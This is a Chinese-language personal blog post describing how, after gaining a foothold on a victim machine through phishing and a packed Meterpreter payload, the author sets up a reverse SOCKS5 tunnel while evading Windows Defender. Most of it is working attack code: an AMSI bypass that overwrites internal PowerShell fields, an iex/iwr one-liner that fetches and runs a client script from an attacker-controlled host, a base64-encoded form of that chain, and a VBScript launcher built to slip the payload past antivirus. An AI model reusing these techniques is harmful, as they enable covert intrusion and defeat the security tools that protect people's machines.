欢迎来到7N的个人博客!

web

记一次从杀软眼皮底下搭建隧道


avatar
7ech_N3rd 2024-11-29 276

背景

目前是通过meterpreter加壳免杀马+钓鱼拿到了基础权限,但是对方开启了windows defender。上传的所有的包括frp.exe chisel.exe ngrok.exe的工具都会直接被杀,所以就有了这篇文章

思路

借鉴了chisel的设计,具体流程图如下

为啥采用powerhsell作为内穿接口呢?因为PowerShell 可以直接操作内存,适合执行无文件攻击和反检测操作。如果我编写一个免杀的frpc版本,只要上传病毒库就会让我们前功尽弃,但是如果是利用powershell直接远程将代码写入内存,杀软就会查个寂寞。外加powershell支持.net的线程库,所以性能也过得去。最后在攻击者的vps上用server.py接受,并且转发成socks5服务器,即可使用了

代码实现

目前只实现了socks5转发,后续会实现动态转发和端口映射👇
Cscript-Null/powerchisel
用法:

python rev_ss5_server.py

然后在客户端(受害机器)修改powerhsell脚本数据后

.\rev_ss5_client.ps1

就可以了
如果真有那么简单就好了

真实环境的杀软对抗

远程加载

为了从内存中加载,我们选择使用👇

iex (iwr -Uri "https://<VPS>/rev_ss5_client.ps1" -UseBasicParsing)

加载,但是会被AMSI拦截。

于是我们要绕过AMSI

绕过AMSI

如果我们能够在AMSI中强制执行使得报错,那么将处罚内部属性amsiInitField,并且AMSI不会被调用唤起。
只需要在前面加上这样代码

$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) # allocate some memory
    [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null) # overwrite `amsiSession`
    [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem) # overwrite `amsiContext`
    Write-host -ForegroundColor green "AMSI won't be called anymore"

就行了
但是在真实环境中我们大多数时候拿到的是半交互shell,所以最好写成一行代码例如使用一下代码生成函数

function Convert-ToEncodedCommand {
    <#
    .SYNOPSIS
        将 PowerShell 脚本转换为 Base64 编码,并支持生成完整的执行命令。

    .DESCRIPTION
        该函数读取指定的脚本文件内容,将其转换为 UTF-16LE 编码的 Base64 字符串。
        可以选择输出 Base64 编码的结果,或者生成包含 `powershell.exe -EncodedCommand` 的完整执行命令。

    .PARAMETER ScriptPath
        要转换的 PowerShell 脚本文件路径。

    .PARAMETER OutputMode
        指定输出模式:
        - "Base64":仅输出 Base64 编码的字符串。
        - "Command":输出完整的执行命令(powershell.exe -EncodedCommand <Base64>)。

    .EXAMPLE
        Convert-ToEncodedCommand -ScriptPath "script.ps1" -OutputMode "Base64"

        仅输出 Base64 编码的字符串。

    .EXAMPLE
        Convert-ToEncodedCommand -ScriptPath "script.ps1" -OutputMode "Command"

        输出完整的执行命令。

    #>

    [CmdletBinding()]
    param (
        # 脚本路径
        [Parameter(Mandatory)]
        [string]$ScriptPath,

        # 输出模式:Base64 或 Command
        [Parameter(Mandatory)]
        [ValidateSet("Base64", "Command")]
        [string]$OutputMode
    )

    # 检查脚本文件是否存在
    if (-not (Test-Path -Path $ScriptPath)) {
        throw "指定的脚本文件不存在:$ScriptPath"
    }

    try {
        # 读取脚本内容
        $scriptContent = Get-Content -Path $ScriptPath -Raw

        # 转换为 UTF-16LE 字节数组
        $bytes = [System.Text.Encoding]::Unicode.GetBytes($scriptContent)

        # 转换为 Base64 编码字符串
        $base64Command = [Convert]::ToBase64String($bytes)

        # 根据输出模式返回结果
        switch ($OutputMode) {
            "Base64" {
                # 输出 Base64 编码字符串
                Write-Output $base64Command
            }
            "Command" {
                # 生成完整的执行命令
                $encodedCommand = "powershell.exe -EncodedCommand $base64Command"
                Write-Output $encodedCommand
            }
        }
    } catch {
        Write-Error "发生错误:$_"
    }
}

结果

powershell.exe -EncodedCommand JABtAGUAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAGEAbABdADoAOgBBAGwAbABvAGMASABHAGwAbwBiAGEAbAAoADkAMAA3ADYAKQANAAoAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACIAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAYQBtAHMAaQBTAGUAcwBzAGkAbwBuACIALAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQAgAA0ACgBbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAIgApAC4ARwBlAHQARgBpAGUAbABkACgAIgBhAG0AcwBpAEMAbwBuAHQAZQB4AHQAIgAsACIATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAiACkALgBTAGUAdABWAGEAbAB1AGUAKAAkAG4AdQBsAGwALAAgAFsASQBuAHQAUAB0AHIAXQAkAG0AZQBtACkAIAANAAoAVwByAGkAdABlAC0AaABvAHMAdAAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABnAHIAZQBlAG4AIAAiAEEATQBTAEkAIAB3AG8AbgAnAHQAIABiAGUAIABjAGEAbABsAGUAZAAgAGEAbgB5AG0AbwByAGUAIgANAAoAaQBlAHgAIAAoAGkAdwByACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAzADkALgAxADkAOQAvAHIAZQB2AF8AcwBzADUAXwBjAGwAaQBlAG4AdAAuAHAAcwAxACIAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkADQAKAA==

但是在大多数情况下,直接使用powershell -Encodedcommand会直接给杀软拦截,

绕过杀软控制检测

所以说我们可以使用vbs脚本结合原生的COM组件调用Powershell结合输入输出流来实现模拟用户输入,从而绕过杀软

' 创建 WScript.Shell 对象
Set objShell = CreateObject("WScript.Shell")

' 启动隐藏的 PowerShell 进程
' 使用 cmd /c 的方式启动 PowerShell 并隐藏窗口
Set objExec = objShell.Exec("cmd /c powershell -NoProfile -Command -")

' 定义要执行的 PowerShell 命令
powershellCommand = "$mem=[System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);"
powershellCommand = powershellCommand & "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiSession','NonPublic,Static').SetValue($null,$null);"
powershellCommand = powershellCommand & "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null,[IntPtr]$mem);"
powershellCommand = powershellCommand & "Write-Host -ForegroundColor green 'AMSI won''t be called anymore';"
powershellCommand = powershellCommand & "iex (iwr -Uri 'http://192.168.239.199/rev_ss5_client.ps1' -UseBasicParsing)"

' 将命令写入 PowerShell 的标准输入流
objExec.StdIn.WriteLine powershellCommand
objExec.StdIn.WriteLine "exit"  ' 让 PowerShell 进程结束输入流
objExec.StdIn.Close

' 读取并输出 PowerShell 的标准输出(可选,用于调试)
Do Until objExec.StdOut.AtEndOfStream
    output = objExec.StdOut.ReadLine
    ' 输出到文件或日志(隐藏窗口时无法直接显示)
    LogOutput output
Loop

' 读取并输出 PowerShell 的标准错误(可选,用于调试)
Do Until objExec.StdErr.AtEndOfStream
    errorOutput = objExec.StdErr.ReadLine
    LogOutput "Error: " & errorOutput
Loop

' 日志记录函数(可选)
Sub LogOutput(message)
    ' 将输出写入日志文件
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set logFile = fso.OpenTextFile("output.log", 8, True) ' 8 表示追加模式
    logFile.WriteLine Now & " - " & message
    logFile.Close
End Sub

直接在攻击机上上传这个vbs并且在VPS搭建HTTP文件服务器用于传输即可

暂无评论

发表评论